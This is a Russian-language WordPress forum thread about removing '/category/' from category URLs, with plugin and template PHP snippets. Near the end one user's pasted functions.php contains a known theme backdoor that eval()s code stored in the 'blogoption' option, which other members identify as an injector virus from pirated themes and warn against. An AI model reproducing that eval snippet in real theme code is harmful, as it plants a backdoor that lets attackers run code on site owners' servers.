Убрать /category/
-
Добрый день.
Каким способом можно убрать «/category/» из юрл без 301 редиректа?
-
BugTracker, Вы уверенны что там не используется 301 редирект?
Там используется переадресация с кодом 301.
Тогда еще вариант, используйте custom taxonomy и custom post type.Хочу поинтересоваться, что не так в вашем случае с 301 редиректом, чем он вам не угодил?
Без 301 редиректа все же лучше будет для поисковиков и лучше вообще без редиректов обходиться.
Решил вот таким способом:
создал новый шаблон страницы с выводом только 1 категории<?php query_posts('cat=1&showposts=10'); ?> <p class="archive-title">Новости</p> <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'content', 'news' ); ?> <?php endwhile; // end of the loop. ?> <?php wp_reset_query();?>
Коллеги, вы о чем? какой редирект?
Вот сайт http://narod.kharkov.ua/ на котором стоит WP No Category Base. Покажите, пожалуйста, где там 301 редирект?
Хмм…вот код из файла плагина
add_filter('request', 'no_category_base_request'); function no_category_base_request($query_vars) { //print_r($query_vars); // For Debugging if (isset($query_vars['category_redirect'])) { $catlink = trailingslashit(get_option('home')) . user_trailingslashit($query_vars['category_redirect'], 'category'); status_header(301); header("Location: $catlink"); exit(); } return $query_vars;
Разве эта строка и не означает 301 редирект?
status_header(301);
Хотя на вашем сайте действительно идет ответ 200
Разве эта строка и не означает 301 редирект?
Означает. Но перед ней строка с
if
. А это тоже что-то да означает 😉Согласен. Но не могу понять что там за условие.Сможете подсказать?
Это редирект для заходов по старому адресу с
/category/
Поскажите почему кликая на рубрику попадаю на главную, плагины отключал, не помогает, во код функцыи мож в нем дело?
<?php add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'Sidebar Left', 'before_widget' => '', 'after_widget' => '', 'before_title' => '<h3>', 'after_title' => '</h3>', )); register_sidebar(array( 'name' => 'Sidebar Right', 'before_widget' => '', 'after_widget' => '', 'before_title' => '<h3>', 'after_title' => '</h3>', )); ?>
9197044
Как удачно вы привели один из самых известных вирусов-инжекторов… Такой код находился только в «ворованных» темах оформления, у вас, надеюсь, не такая?—
Предупрежу, на всякий пожарный, пользователей-новичков — не используйте вышеприведенный код в своей (используемой) теме оформленияя тоже надеюсь
и что с этим делать
Выбросить ворованное и поставить чистое с официального репозитория. Если не поздно, конечно.. А то придется все файлы и БД просматривать на предмет внедрения «шняги»..
и что с этим делать
Кроме сказанного wikicms ещё внимательно изучить правила форума (особенно п2)
- Тема «Убрать /category/» закрыта для новых ответов.